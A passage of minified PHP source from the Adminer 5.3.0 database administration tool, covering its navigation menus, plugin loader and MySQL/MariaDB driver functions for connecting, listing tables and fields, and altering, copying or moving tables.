.="<li><a href='".h(auth_url($Dj,$N,$V,$j))."'>($B) ".h($V.($N!=""?"@".adminer()->serverName($N):"").($j!=""?" - $j":""))."</a>\n";}}}}if($mg)echo"<ul id='logins'>\n$mg</ul>\n".script("mixin(qs('#logins'), {onmouseover: menuOver, onmouseout: menuOut});");}else{$T=array();if($_GET["ns"]!==""&&!$pf&&DB!=""){connection()->select_db(DB);$T=table_status('',true);}adminer()->syntaxHighlighting($T);adminer()->databasesPrint($pf);$ia=array();if(DB==""||!$pf){if(support("sql")){$ia[]="<a href='".h(ME)."sql='".bold(isset($_GET["sql"])&&!isset($_GET["import"])).">".'SQL command'."</a>";$ia[]="<a href='".h(ME)."import='".bold(isset($_GET["import"])).">".'Import'."</a>";}$ia[]="<a href='".h(ME)."dump=".urlencode(isset($_GET["table"])?$_GET["table"]:$_GET["select"])."' id='dump'".bold(isset($_GET["dump"])).">".'Export'."</a>";}$Xd=$_GET["ns"]!==""&&!$pf&&DB!="";if($Xd)$ia[]='<a href="'.h(ME).'create="'.bold($_GET["create"]==="").">".'Create table'."</a>";echo($ia?"<p class='links'>\n".implode("\n",$ia)."\n":"");if($Xd){if($T)adminer()->tablesPrint($T);else
echo"<p class='message'>".'No tables.'."</p>\n";}}}function
syntaxHighlighting(array$T){echo
script_src(preg_replace("~\\?.*~","",ME)."?file=jush.js&version=5.3.0",true);if(support("sql")){echo"<script".nonce().">\n";if($T){$Qe=array();foreach($T
as$R=>$U)$Qe[]=preg_quote($R,'/');echo"var jushLinks = { ".JUSH.": [ '".js_escape(ME).(support("table")?"table=":"select=")."\$&', /\\b(".implode("|",$Qe).")\\b/g ] };\n";foreach(array("bac","bra","sqlite_quo","mssql_bra")as$X)echo"jushLinks.$X = jushLinks.".JUSH.";\n";if(isset($_GET["sql"])||isset($_GET["trigger"])||isset($_GET["check"])){$_i=array_fill_keys(array_keys($T),array());foreach(driver()->allFields()as$R=>$n){foreach($n
as$m)$_i[$R][]=$m["field"];}echo"addEventListener('DOMContentLoaded', () => { autocompleter = jush.autocompleteSql('".idf_escape("")."', ".json_encode($_i)."); });\n";}}echo"</script>\n";}echo
script("syntaxHighlighting('".preg_replace('~^(\d\.?\d).*~s','\1',connection()->server_info)."', '".connection()->flavor."');");}function
databasesPrint($pf){$i=adminer()->databases();if(DB&&$i&&!in_array(DB,$i))array_unshift($i,DB);echo"<form action=''>\n<p id='dbs'>\n";hidden_fields_get();$Ob=script("mixin(qsl('select'), {onmousedown: dbMouseDown, onchange: dbChange});");echo"<label title='".'Database'."'>".'DB'.": ".($i?html_select("db",array(""=>"")+$i,DB).$Ob:"<input name='db' value='".h(DB)."' autocapitalize='off' size='19'>\n")."</label>","<input type='submit' value='".'Use'."'".($i?" class='hidden'":"").">\n";if(support("scheme")){if($pf!="db"&&DB!=""&&connection()->select_db(DB)){echo"<br><label>".'Schema'.": ".html_select("ns",array(""=>"")+adminer()->schemas(),$_GET["ns"])."$Ob</label>";if($_GET["ns"]!="")set_schema($_GET["ns"]);}}foreach(array("import","sql","schema","dump","privileges")as$X){if(isset($_GET[$X])){echo
input_hidden($X);break;}}echo"</p></form>\n";}function
tablesPrint(array$T){echo"<ul id='tables'>".script("mixin(qs('#tables'), {onmouseover: menuOver, onmouseout: menuOut});");foreach($T
as$R=>$P){$R="$R";$B=adminer()->tableName($P);if($B!=""&&!$P["inherited"])echo'<li><a href="'.h(ME).'select='.urlencode($R).'"'.bold($_GET["select"]==$R||$_GET["edit"]==$R,"select")." title='".'Select data'."'>".'select'."</a> ",(support("table")||support("indexes")?'<a href="'.h(ME).'table='.urlencode($R).'"'.bold(in_array($R,array($_GET["table"],$_GET["create"],$_GET["indexes"],$_GET["foreign"],$_GET["trigger"],$_GET["check"],$_GET["view"])),(is_view($P)?"view":"structure"))." title='".'Show structure'."'>$B</a>":"<span>$B</span>")."\n";}echo"</ul>\n";}}class
Plugins{private
static$append=array('dumpFormat'=>true,'dumpOutput'=>true,'editRowPrint'=>true,'editFunctions'=>true,'config'=>true);var$plugins;var$error='';private$hooks=array();function
__construct($Hg){if($Hg===null){$Hg=array();$Ha="adminer-plugins";if(is_dir($Ha)){foreach(glob("$Ha/*.php")as$o)$Yd=include_once"./$o";}$Id=" href='https://www.adminer.org/plugins/#use'".target_blank();if(file_exists("$Ha.php")){$Yd=include_once"./$Ha.php";if(is_array($Yd)){foreach($Yd
as$Gg)$Hg[get_class($Gg)]=$Gg;}else$this->error
.=sprintf('%s must <a%s>return an array</a>.',"<b>$Ha.php</b>",$Id)."<br>";}foreach(get_declared_classes()as$db){if(!$Hg[$db]&&preg_match('~^Adminer\w~i',$db)){$kh=new
\ReflectionClass($db);$xb=$kh->getConstructor();if($xb&&$xb->getNumberOfRequiredParameters())$this->error
.=sprintf('<a%s>Configure</a> %s in %s.',$Id,"<b>$db</b>","<b>$Ha.php</b>")."<br>";else$Hg[$db]=new$db;}}}$this->plugins=$Hg;$la=new
Adminer;$Hg[]=$la;$kh=new
\ReflectionObject($la);foreach($kh->getMethods()as$nf){foreach($Hg
as$Gg){$B=$nf->getName();if(method_exists($Gg,$B))$this->hooks[$B][]=$Gg;}}}function
__call($B,array$rg){$ua=array();foreach($rg
as$x=>$X)$ua[]=&$rg[$x];$J=null;foreach($this->hooks[$B]as$Gg){$Y=call_user_func_array(array($Gg,$B),$ua);if($Y!==null){if(!self::$append[$B])return$Y;$J=$Y+(array)$J;}}return$J;}}abstract
class
Plugin{protected$translations=array();function
description(){return$this->lang('');}function
screenshot(){return"";}protected
function
lang($u,$Ff=null){$ua=func_get_args();$ua[0]=idx($this->translations[LANG],$u)?:$u;return
call_user_func_array('Adminer\lang_format',$ua);}}Adminer::$instance=(function_exists('adminer_object')?adminer_object():(is_dir("adminer-plugins")||file_exists("adminer-plugins.php")?new
Plugins(null):new
Adminer));SqlDriver::$drivers=array("server"=>"MySQL / MariaDB")+SqlDriver::$drivers;if(!defined('Adminer\DRIVER')){define('Adminer\DRIVER',"server");if(extension_loaded("mysqli")&&$_GET["ext"]!="pdo"){class
Db
extends
\MySQLi{static$instance;var$extension="MySQLi",$flavor='';function
__construct(){parent::init();}function
attach($N,$V,$F){mysqli_report(MYSQLI_REPORT_OFF);list($Md,$Ig)=explode(":",$N,2);$ii=adminer()->connectSsl();if($ii)$this->ssl_set($ii['key'],$ii['cert'],$ii['ca'],'','');$J=@$this->real_connect(($N!=""?$Md:ini_get("mysqli.default_host")),($N.$V!=""?$V:ini_get("mysqli.default_user")),($N.$V.$F!=""?$F:ini_get("mysqli.default_pw")),null,(is_numeric($Ig)?intval($Ig):ini_get("mysqli.default_port")),(is_numeric($Ig)?null:$Ig),($ii?($ii['verify']!==false?2048:64):0));$this->options(MYSQLI_OPT_LOCAL_INFILE,false);return($J?'':$this->error);}function
set_charset($Va){if(parent::set_charset($Va))return
true;parent::set_charset('utf8');return$this->query("SET NAMES $Va");}function
next_result(){return
self::more_results()&&parent::next_result();}function
quote($Q){return"'".$this->escape_string($Q)."'";}}}elseif(extension_loaded("mysql")&&!((ini_bool("sql.safe_mode")||ini_bool("mysql.allow_local_infile"))&&extension_loaded("pdo_mysql"))){class
Db
extends
SqlDb{private$link;function
attach($N,$V,$F){if(ini_bool("mysql.allow_local_infile"))return
sprintf('Disable %s or enable %s or %s extensions.',"'mysql.allow_local_infile'","MySQLi","PDO_MySQL");$this->link=@mysql_connect(($N!=""?$N:ini_get("mysql.default_host")),("$N$V"!=""?$V:ini_get("mysql.default_user")),("$N$V$F"!=""?$F:ini_get("mysql.default_password")),true,131072);if(!$this->link)return
mysql_error();$this->server_info=mysql_get_server_info($this->link);return'';}function
set_charset($Va){if(function_exists('mysql_set_charset')){if(mysql_set_charset($Va,$this->link))return
true;mysql_set_charset('utf8',$this->link);}return$this->query("SET NAMES $Va");}function
quote($Q){return"'".mysql_real_escape_string($Q,$this->link)."'";}function
select_db($Nb){return
mysql_select_db($Nb,$this->link);}function
query($H,$jj=false){$I=@($jj?mysql_unbuffered_query($H,$this->link):mysql_query($H,$this->link));$this->error="";if(!$I){$this->errno=mysql_errno($this->link);$this->error=mysql_error($this->link);return
false;}if($I===true){$this->affected_rows=mysql_affected_rows($this->link);$this->info=mysql_info($this->link);return
true;}return
new
Result($I);}}class
Result{var$num_rows;private$result;private$offset=0;function
__construct($I){$this->result=$I;$this->num_rows=mysql_num_rows($I);}function
fetch_assoc(){return
mysql_fetch_assoc($this->result);}function
fetch_row(){return
mysql_fetch_row($this->result);}function
fetch_field(){$J=mysql_fetch_field($this->result,$this->offset++);$J->orgtable=$J->table;$J->charsetnr=($J->blob?63:0);return$J;}function
__destruct(){mysql_free_result($this->result);}}}elseif(extension_loaded("pdo_mysql")){class
Db
extends
PdoDb{var$extension="PDO_MySQL";function
attach($N,$V,$F){$Xf=array(\PDO::MYSQL_ATTR_LOCAL_INFILE=>false);$ii=adminer()->connectSsl();if($ii){if($ii['key'])$Xf[\PDO::MYSQL_ATTR_SSL_KEY]=$ii['key'];if($ii['cert'])$Xf[\PDO::MYSQL_ATTR_SSL_CERT]=$ii['cert'];if($ii['ca'])$Xf[\PDO::MYSQL_ATTR_SSL_CA]=$ii['ca'];if(isset($ii['verify']))$Xf[\PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT]=$ii['verify'];}return$this->dsn("mysql:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(\d)~',';port=\1',$N)),$V,$F,$Xf);}function
set_charset($Va){return$this->query("SET NAMES $Va");}function
select_db($Nb){return$this->query("USE ".idf_escape($Nb));}function
query($H,$jj=false){$this->pdo->setAttribute(\PDO::MYSQL_ATTR_USE_BUFFERED_QUERY,!$jj);return
parent::query($H,$jj);}}}class
Driver
extends
SqlDriver{static$extensions=array("MySQLi","MySQL","PDO_MySQL");static$jush="sql";var$unsigned=array("unsigned","zerofill","unsigned zerofill");var$operators=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","REGEXP","IN","FIND_IN_SET","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");var$functions=array("char_length","date","from_unixtime","lower","round","floor","ceil","sec_to_time","time_to_sec","upper");var$grouping=array("avg","count","count distinct","group_concat","max","min","sum");static
function
connect($N,$V,$F){$f=parent::connect($N,$V,$F);if(is_string($f)){if(function_exists('iconv')&&!is_utf8($f)&&strlen($_h=iconv("windows-1250","utf-8",$f))>strlen($f))$f=$_h;return$f;}$f->set_charset(charset($f));$f->query("SET sql_quote_show_create = 1, autocommit = 1");$f->flavor=(preg_match('~MariaDB~',$f->server_info)?'maria':'mysql');add_driver(DRIVER,($f->flavor=='maria'?"MariaDB":"MySQL"));return$f;}function
__construct(Db$f){parent::__construct($f);$this->types=array('Numbers'=>array("tinyint"=>3,"smallint"=>5,"mediumint"=>8,"int"=>10,"bigint"=>20,"decimal"=>66,"float"=>12,"double"=>21),'Date and time'=>array("date"=>10,"datetime"=>19,"timestamp"=>19,"time"=>10,"year"=>4),'Strings'=>array("char"=>255,"varchar"=>65535,"tinytext"=>255,"text"=>65535,"mediumtext"=>16777215,"longtext"=>4294967295),'Lists'=>array("enum"=>65535,"set"=>64),'Binary'=>array("bit"=>20,"binary"=>255,"varbinary"=>65535,"tinyblob"=>255,"blob"=>65535,"mediumblob"=>16777215,"longblob"=>4294967295),'Geometry'=>array("geometry"=>0,"point"=>0,"linestring"=>0,"polygon"=>0,"multipoint"=>0,"multilinestring"=>0,"multipolygon"=>0,"geometrycollection"=>0),);$this->insertFunctions=array("char"=>"md5/sha1/password/encrypt/uuid","binary"=>"md5/sha1","date|time"=>"now",);$this->editFunctions=array(number_type()=>"+/-","date"=>"+ interval/- interval","time"=>"addtime/subtime","char|text"=>"concat",);if(min_version('5.7.8',10.2,$f))$this->types['Strings']["json"]=4294967295;if(min_version('',10.7,$f)){$this->types['Strings']["uuid"]=128;$this->insertFunctions['uuid']='uuid';}if(min_version(9,'',$f)){$this->types['Numbers']["vector"]=16383;$this->insertFunctions['vector']='string_to_vector';}if(min_version(5.1,'',$f))$this->partitionBy=array("HASH","LINEAR HASH","KEY","LINEAR KEY","RANGE","LIST");if(min_version(5.7,10.2,$f))$this->generated=array("STORED","VIRTUAL");}function
unconvertFunction(array$m){return(preg_match("~binary~",$m["type"])?"<code class='jush-sql'>UNHEX</code>":($m["type"]=="bit"?doc_link(array('sql'=>'bit-value-literals.html'),"<code>b''</code>"):(preg_match("~geometry|point|linestring|polygon~",$m["type"])?"<code class='jush-sql'>GeomFromText</code>":"")));}function
insert($R,array$O){return($O?parent::insert($R,$O):queries("INSERT INTO ".table($R)." ()\nVALUES ()"));}function
insertUpdate($R,array$L,array$G){$e=array_keys(reset($L));$Og="INSERT INTO ".table($R)." (".implode(", ",$e).") VALUES\n";$Bj=array();foreach($e
as$x)$Bj[$x]="$x = VALUES($x)";$pi="\nON DUPLICATE KEY UPDATE ".implode(", ",$Bj);$Bj=array();$y=0;foreach($L
as$O){$Y="(".implode(", ",$O).")";if($Bj&&(strlen($Og)+$y+strlen($Y)+strlen($pi)>1e6)){if(!queries($Og.implode(",\n",$Bj).$pi))return
false;$Bj=array();$y=0;}$Bj[]=$Y;$y+=strlen($Y)+2;}return
queries($Og.implode(",\n",$Bj).$pi);}function
slowQuery($H,$Li){if(min_version('5.7.8','10.1.2')){if($this->conn->flavor=='maria')return"SET STATEMENT max_statement_time=$Li FOR $H";elseif(preg_match('~^(SELECT\b)(.+)~is',$H,$A))return"$A[1] /*+ MAX_EXECUTION_TIME(".($Li*1000).") */ $A[2]";}}function
convertSearch($u,array$X,array$m){return(preg_match('~char|text|enum|set~',$m["type"])&&!preg_match("~^utf8~",$m["collation"])&&preg_match('~[\x80-\xFF]~',$X['val'])?"CONVERT($u USING ".charset($this->conn).")":$u);}function
warnings(){$I=$this->conn->query("SHOW WARNINGS");if($I&&$I->num_rows){ob_start();print_select_result($I);return
ob_get_clean();}}function
tableHelp($B,$xe=false){$Ue=($this->conn->flavor=='maria');if(information_schema(DB))return
strtolower("information-schema-".($Ue?"$B-table/":str_replace("_","-",$B)."-table.html"));if(DB=="mysql")return($Ue?"mysql$B-table/":"system-schema.html");}function
partitionsInfo($R){$pd="FROM information_schema.PARTITIONS WHERE TABLE_SCHEMA = ".q(DB)." AND TABLE_NAME = ".q($R);$I=connection()->query("SELECT PARTITION_METHOD, PARTITION_EXPRESSION, PARTITION_ORDINAL_POSITION $pd ORDER BY PARTITION_ORDINAL_POSITION DESC LIMIT 1");$J=array();list($J["partition_by"],$J["partition"],$J["partitions"])=$I->fetch_row();$zg=get_key_vals("SELECT PARTITION_NAME, PARTITION_DESCRIPTION $pd AND PARTITION_NAME != '' ORDER BY PARTITION_ORDINAL_POSITION");$J["partition_names"]=array_keys($zg);$J["partition_values"]=array_values($zg);return$J;}function
hasCStyleEscapes(){static$Qa;if($Qa===null){$gi=get_val("SHOW VARIABLES LIKE 'sql_mode'",1,$this->conn);$Qa=(strpos($gi,'NO_BACKSLASH_ESCAPES')===false);}return$Qa;}function
engines(){$J=array();foreach(get_rows("SHOW ENGINES")as$K){if(preg_match("~YES|DEFAULT~",$K["Support"]))$J[]=$K["Engine"];}return$J;}function
indexAlgorithms(array$ti){return(preg_match('~^(MEMORY|NDB)$~',$ti["Engine"])?array("HASH","BTREE"):array());}}function
idf_escape($u){return"`".str_replace("`","``",$u)."`";}function
table($u){return
idf_escape($u);}function
get_databases($hd){$J=get_session("dbs");if($J===null){$H="SELECT SCHEMA_NAME FROM information_schema.SCHEMATA ORDER BY SCHEMA_NAME";$J=($hd?slow_query($H):get_vals($H));restart_session();set_session("dbs",$J);stop_session();}return$J;}function
limit($H,$Z,$z,$C=0,$Mh=" "){return" $H$Z".($z?$Mh."LIMIT $z".($C?" OFFSET $C":""):"");}function
limit1($R,$H,$Z,$Mh="\n"){return
limit($H,$Z,1,0,$Mh);}function
db_collation($j,array$jb){$J=null;$h=get_val("SHOW CREATE DATABASE ".idf_escape($j),1);if(preg_match('~ COLLATE ([^ ]+)~',$h,$A))$J=$A[1];elseif(preg_match('~ CHARACTER SET ([^ ]+)~',$h,$A))$J=$jb[$A[1]][-1];return$J;}function
logged_user(){return
get_val("SELECT USER()");}function
tables_list(){return
get_key_vals("SELECT TABLE_NAME, TABLE_TYPE FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ORDER BY TABLE_NAME");}function
count_tables(array$i){$J=array();foreach($i
as$j)$J[$j]=count(get_vals("SHOW TABLES IN ".idf_escape($j)));return$J;}function
table_status($B="",$Uc=false){$J=array();foreach(get_rows($Uc?"SELECT TABLE_NAME AS Name, ENGINE AS Engine, TABLE_COMMENT AS Comment FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ".($B!=""?"AND TABLE_NAME = ".q($B):"ORDER BY Name"):"SHOW TABLE STATUS".($B!=""?" LIKE ".q(addcslashes($B,"%_\\")):""))as$K){if($K["Engine"]=="InnoDB")$K["Comment"]=preg_replace('~(?:(.+); )?InnoDB free: .*~','\1',$K["Comment"]);if(!isset($K["Engine"]))$K["Comment"]="";if($B!="")$K["Name"]=$B;$J[$K["Name"]]=$K;}return$J;}function
is_view(array$S){return$S["Engine"]===null;}function
fk_support(array$S){return
preg_match('~InnoDB|IBMDB2I'.(min_version(5.6)?'|NDB':'').'~i',$S["Engine"]);}function
fields($R){$Ue=(connection()->flavor=='maria');$J=array();foreach(get_rows("SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = ".q($R)." ORDER BY ORDINAL_POSITION")as$K){$m=$K["COLUMN_NAME"];$U=$K["COLUMN_TYPE"];$td=$K["GENERATION_EXPRESSION"];$Rc=$K["EXTRA"];preg_match('~^(VIRTUAL|PERSISTENT|STORED)~',$Rc,$sd);preg_match('~^([^( ]+)(?:\((.+)\))?( unsigned)?( zerofill)?$~',$U,$Xe);$k=$K["COLUMN_DEFAULT"];if($k!=""){$we=preg_match('~text|json~',$Xe[1]);if(!$Ue&&$we)$k=preg_replace("~^(_\w+)?('.*')$~",'\2',stripslashes($k));if($Ue||$we){$k=($k=="NULL"?null:preg_replace_callback("~^'(.*)'$~",function($A){return
stripslashes(str_replace("''","'",$A[1]));},$k));}if(!$Ue&&preg_match('~binary~',$Xe[1])&&preg_match('~^0x(\w*)$~',$k,$A))$k=pack("H*",$A[1]);}$J[$m]=array("field"=>$m,"full_type"=>$U,"type"=>$Xe[1],"length"=>$Xe[2],"unsigned"=>ltrim($Xe[3].$Xe[4]),"default"=>($sd?($Ue?$td:stripslashes($td)):$k),"null"=>($K["IS_NULLABLE"]=="YES"),"auto_increment"=>($Rc=="auto_increment"),"on_update"=>(preg_match('~\bon update (\w+)~i',$Rc,$A)?$A[1]:""),"collation"=>$K["COLLATION_NAME"],"privileges"=>array_flip(explode(",","$K[PRIVILEGES],where,order")),"comment"=>$K["COLUMN_COMMENT"],"primary"=>($K["COLUMN_KEY"]=="PRI"),"generated"=>($sd[1]=="PERSISTENT"?"STORED":$sd[1]),);}return$J;}function
indexes($R,$g=null){$J=array();foreach(get_rows("SHOW INDEX FROM ".table($R),$g)as$K){$B=$K["Key_name"];$J[$B]["type"]=($B=="PRIMARY"?"PRIMARY":($K["Index_type"]=="FULLTEXT"?"FULLTEXT":($K["Non_unique"]?($K["Index_type"]=="SPATIAL"?"SPATIAL":"INDEX"):"UNIQUE")));$J[$B]["columns"][]=$K["Column_name"];$J[$B]["lengths"][]=($K["Index_type"]=="SPATIAL"?null:$K["Sub_part"]);$J[$B]["descs"][]=null;$J[$B]["algorithm"]=$K["Index_type"];}return$J;}function
foreign_keys($R){static$Cg='(?:`(?:[^`]|``)+`|"(?:[^"]|"")+")';$J=array();$Db=get_val("SHOW CREATE TABLE ".table($R),1);if($Db){preg_match_all("~CONSTRAINT ($Cg) FOREIGN KEY ?\\(((?:$Cg,? ?)+)\\) REFERENCES ($Cg)(?:\\.($Cg))? \\(((?:$Cg,? ?)+)\\)(?: ON DELETE (".driver()->onActions."))?(?: ON UPDATE (".driver()->onActions."))?~",$Db,$Ye,PREG_SET_ORDER);foreach($Ye
as$A){preg_match_all("~$Cg~",$A[2],$ai);preg_match_all("~$Cg~",$A[5],$Di);$J[idf_unescape($A[1])]=array("db"=>idf_unescape($A[4]!=""?$A[3]:$A[4]),"table"=>idf_unescape($A[4]!=""?$A[4]:$A[3]),"source"=>array_map('Adminer\idf_unescape',$ai[0]),"target"=>array_map('Adminer\idf_unescape',$Di[0]),"on_delete"=>($A[6]?:"RESTRICT"),"on_update"=>($A[7]?:"RESTRICT"),);}}return$J;}function
view($B){return
array("select"=>preg_replace('~^(?:[^`]|`[^`]*`)*\s+AS\s+~isU','',get_val("SHOW CREATE VIEW ".table($B),1)));}function
collations(){$J=array();foreach(get_rows("SHOW COLLATION")as$K){if($K["Default"])$J[$K["Charset"]][-1]=$K["Collation"];else$J[$K["Charset"]][]=$K["Collation"];}ksort($J);foreach($J
as$x=>$X)sort($J[$x]);return$J;}function
information_schema($j){return($j=="information_schema")||(min_version(5.5)&&$j=="performance_schema");}function
error(){return
h(preg_replace('~^You have an error.*syntax to use~U',"Syntax error",connection()->error));}function
create_database($j,$c){return
queries("CREATE DATABASE ".idf_escape($j).($c?" COLLATE ".q($c):""));}function
drop_databases(array$i){$J=apply_queries("DROP DATABASE",$i,'Adminer\idf_escape');restart_session();set_session("dbs",null);return$J;}function
rename_database($B,$c){$J=false;if(create_database($B,$c)){$T=array();$Gj=array();foreach(tables_list()as$R=>$U){if($U=='VIEW')$Gj[]=$R;else$T[]=$R;}$J=(!$T&&!$Gj)||move_tables($T,$Gj,$B);drop_databases($J?array(DB):array());}return$J;}function
auto_increment(){$Aa=" PRIMARY KEY";if($_GET["create"]!=""&&$_POST["auto_increment_col"]){foreach(indexes($_GET["create"])as$v){if(in_array($_POST["fields"][$_POST["auto_increment_col"]]["orig"],$v["columns"],true)){$Aa="";break;}if($v["type"]=="PRIMARY")$Aa=" UNIQUE";}}return" AUTO_INCREMENT$Aa";}function
alter_table($R,$B,array$n,array$jd,$ob,$yc,$c,$_a,$E){$b=array();foreach($n
as$m){if($m[1]){$k=$m[1][3];if(preg_match('~ GENERATED~',$k)){$m[1][3]=(connection()->flavor=='maria'?"":$m[1][2]);$m[1][2]=$k;}$b[]=($R!=""?($m[0]!=""?"CHANGE ".idf_escape($m[0]):"ADD"):" ")." ".implode($m[1]).($R!=""?$m[2]:"");}else$b[]="DROP ".idf_escape($m[0]);}$b=array_merge($b,$jd);$P=($ob!==null?" COMMENT=".q($ob):"").($yc?" ENGINE=".q($yc):"").($c?" COLLATE ".q($c):"").($_a!=""?" AUTO_INCREMENT=$_a":"");if($E){$zg=array();if($E["partition_by"]=='RANGE'||$E["partition_by"]=='LIST'){foreach($E["partition_names"]as$x=>$X){$Y=$E["partition_values"][$x];$zg[]="\n  PARTITION ".idf_escape($X)." VALUES ".($E["partition_by"]=='RANGE'?"LESS THAN":"IN").($Y!=""?" ($Y)":" MAXVALUE");}}$P
.="\nPARTITION BY $E[partition_by]($E[partition])";if($zg)$P
.=" (".implode(",",$zg)."\n)";elseif($E["partitions"])$P
.=" PARTITIONS ".(+$E["partitions"]);}elseif($E===null)$P
.="\nREMOVE PARTITIONING";if($R=="")return
queries("CREATE TABLE ".table($B)." (\n".implode(",\n",$b)."\n)$P");if($R!=$B)$b[]="RENAME TO ".table($B);if($P)$b[]=ltrim($P);return($b?queries("ALTER TABLE ".table($R)."\n".implode(",\n",$b)):true);}function
alter_indexes($R,$b){$Ua=array();foreach($b
as$X)$Ua[]=($X[2]=="DROP"?"\nDROP INDEX ".idf_escape($X[1]):"\nADD $X[0] ".($X[0]=="PRIMARY"?"KEY ":"").($X[1]!=""?idf_escape($X[1])." ":"")."(".implode(", ",$X[2]).")");return
queries("ALTER TABLE ".table($R).implode(",",$Ua));}function
truncate_tables(array$T){return
apply_queries("TRUNCATE TABLE",$T);}function
drop_views(array$Gj){return
queries("DROP VIEW ".implode(", ",array_map('Adminer\table',$Gj)));}function
drop_tables(array$T){return
queries("DROP TABLE ".implode(", ",array_map('Adminer\table',$T)));}function
move_tables(array$T,array$Gj,$Di){$oh=array();foreach($T
as$R)$oh[]=table($R)." TO ".idf_escape($Di).".".table($R);if(!$oh||queries("RENAME TABLE ".implode(", ",$oh))){$Wb=array();foreach($Gj
as$R)$Wb[table($R)]=view($R);connection()->select_db($Di);$j=idf_escape(DB);foreach($Wb
as$B=>$Fj){if(!queries("CREATE VIEW $B AS ".str_replace(" $j."," ",$Fj["select"]))||!queries("DROP VIEW $j.$B"))return
false;}return
true;}return
false;}function
copy_tables(array$T,array$Gj,$Di){queries("SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'");foreach($T
as$R){$B=($Di==DB?table("copy_$R"):idf_escape($Di).".".table($R));if(($_POST["overwrite"]&&!queries("\nDROP TABLE IF EXISTS $B"))||!queries("CREATE TABLE $B LIKE ".table($R))||!queries("INSERT INTO $B SELECT * FROM ".table($R)))return
false;foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R,"%_\\")))as$K){$cj=$K["Trigger"];if(!queries("CREATE TRIGGER ".($Di==DB?idf_escape("copy_$cj"):idf_escape($Di).".".idf_escape($cj))." $K[Timing] $K[Event] ON $B FOR EACH ROW\n$K[Statement];"))return
false;}}foreach($Gj
as$R){$B=($Di==DB?table("copy_$R"):idf_escape($Di).".".table($R));$Fj=view($R);if(($_POST["overwrite"]&&!queries("DROP VIEW IF EXISTS $B"))||!queries("CREATE VIEW $B AS $Fj[select]"))return
false;}return
true;}function
trigger($B,$R){if($B=="")return
array();$L=get_rows("SHOW TRIGGERS WHERE `Trigger` = ".q($B));return
reset($L);}function
triggers($R){$J=array();foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R,"%_\\")))as$K)$J[$K["Trigger"]]=array($K["Timing"],$K["Event"]);return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("FOR EACH ROW"),);}function
routine($B,$U){$ra=array("bool","boolean","integer","double precision","real","dec","numeric","fixed","national char","national varchar");$bi="(?:\\s|/\\*[\s\S]*?\\*/|(?:#|-- )[^\n]*\n?|--\r?\n)";$_c=driver()->enumLength;$hj="((".implode("|",array_merge(array_keys(driver()->types()),$ra)).")\\b(?:\\s*\\(((?:[^'\")]|$_c)++)\\))?"."\\s*(zerofill\\s*)?(unsigned(?:\\s+zerofill)?)?)(?:\\s*(?:CHARSET|CHARACTER\\s+SET)\\s*['\"]?([^'\"\\s,]+)['\"]?)?";$Cg="$bi*(".($U=="FUNCTION"?"":driver()->inout).")?\\s*(?:`((?:[^`]|``)*)`\\s*|\\b(\\S+)\\s+)$hj";$h=get_val("SHOW CREATE $U ".idf_escape($B),2);preg_match("~\\(((?:$Cg\\s*,?)*)\\)\\s*".($U=="FUNCTION"?"RETURNS\\s+$hj\\s+":"")."(.*)~is",$h,$A);$n=array();preg_match_all("~$Cg\\s*,?~is",$A[1],$Ye,PREG_SET_ORDER);foreach($Ye
as$qg)$n[]=array("field"=>str_replace("``","`",$qg[2]).$qg[3],"type"=>strtolower($qg[5]),"length"=>preg_replace_callback("~$_c~s",'Adminer\normalize_enum',$qg[6]),"unsigned"=>strtolower(preg_replace('~\s+~',' ',trim("$qg[8] $qg[7]"))),"null"=>true,"full_type"=>$qg[4],"inout"=>strtoupper($qg[1]),"collation"=>strtolower($qg[9]),);return
array("fields"=>$n,"comment"=>get_val("SELECT ROUTINE_COMMENT FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA = DATABASE() AND ROUTINE_NAME = ".q($B)),)+($U!="FUNCTION"?array("definition"=>$A[11]):array("returns"=>array("type"=>$A[12],"length"=>$A[13],"unsigned"=>$A[15],"collation"=>$A[16]),"definition"=>$A[17],"language"=>"SQL",));}function
routines(){return
get_rows("SELECT ROUTINE_NAME AS SPECIFIC_NAME, ROUTINE_NAME, ROUTINE_TYPE, DTD_IDENTIFIER FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA = DATABASE()");}function
routine_languages(){return
array();}function
routine_id($B,array$K){return
idf_escape($B);}function
last_id($I){return
get_val("SELECT LAST_INSERT_ID()");}function
explain(Db$f,$H){return$f->query("EXPLAIN ".(min_version(5.1)&&!min_version(5.7)?"PARTITIONS ":"").$H);}function
found_rows(array$S,array$Z){return($Z||$S["Engine"]!="InnoDB"?null:$S["Rows"]);}function
create_sql($R,$_a,$ni){$J=get_val("SHOW CREATE TABLE ".table($R),1);if(!$_a)$J=preg_replace('~ AUTO_INCREMENT=\d+~','',$J);return$J;}function
truncate_sql($R){return"TRUNCATE ".table($R);}function
use_sql($Nb){return"USE ".idf_escape($Nb);}function
trigger_sql($R){$J="";foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R,"%_\\")),null,"-- ")as$K)$J
.="\nCREATE TRIGGER ".idf_escape($K["Trigger"])." $K[Timing] $K[Event] ON ".table($K["Table"])." FOR EACH ROW\n$K[Statement];;\n";return$J;}function
show_variables(){return
get_rows("SHOW VARIABLES");}function
show_status(){return
get_rows("SHOW STATUS");}function
process_list(){return
get_rows("SHOW FULL PROCESSLIST");}function
convert_field(array$m){if(preg_match("~binary~",$m["type"]))return"HEX(".idf_escape($m["field"]).")";if($m["type"]=="bit")return"BIN(".idf_escape($m["field"])." + 0)";if(preg_match("~geometry|point|linestring|polygon~",$m["type"]))return(min_version(8)?"ST_":"")."AsWKT(".idf_escape($m["field"]).")";}function
